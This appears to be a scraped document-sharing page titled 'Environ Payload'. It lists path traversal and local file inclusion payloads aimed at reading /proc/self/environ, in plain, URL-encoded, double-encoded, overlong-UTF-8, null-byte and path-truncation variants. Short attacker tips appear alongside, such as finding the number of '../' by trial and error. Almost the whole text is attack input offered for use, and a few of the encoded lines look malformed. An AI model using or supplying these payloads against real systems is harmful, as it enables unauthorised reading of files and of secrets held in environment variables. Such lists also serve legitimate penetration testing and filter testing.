Professional Documents
Culture Documents
Environ Payload
Environ Payload
../../../../../../../../../../../../../../../../../../proc/self/environ
../../../../../../../../..//./proc/./self/./environ
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fenviron
../../../../../../../../../proc/self//./environ
../../../../../../../../../proc/self//./////environ
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e
%2fproc%2fself%2f%2f%2e%2fenviron
....//....//....//....//....//....//....//....//....//proc/self/environ
....\/....\/....\/....\/....\/....\/....\/....\/....\/proc/self/environ
url encoding
%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..
%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..
%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..
%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..
%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..
%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..
%5c..%5c/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/proc/self/environ
null byte
../../../../../../../../../../../../../../../../../../../../../../../../proc/self/
environ%00
Encoding
You could use non-standard encondings like double URL encode (and others)
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..
%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fproc%252fself
%252environ
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afproc%c0%afself
%c0%afenviron
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e
%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fproc%252fself
%252environ
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252%252e%252e%252f%252e
%252e%252f%252e%252e%252f%252e%252e%252fproc%252fself%252environ%00
#With the next options, by trial and error, you have to discover how many "../" are
needed to delete the appended string but not "/etc/passwd" (near 2027)
a/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././proc/self/environ
a/../../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../../../../../proc/self/environ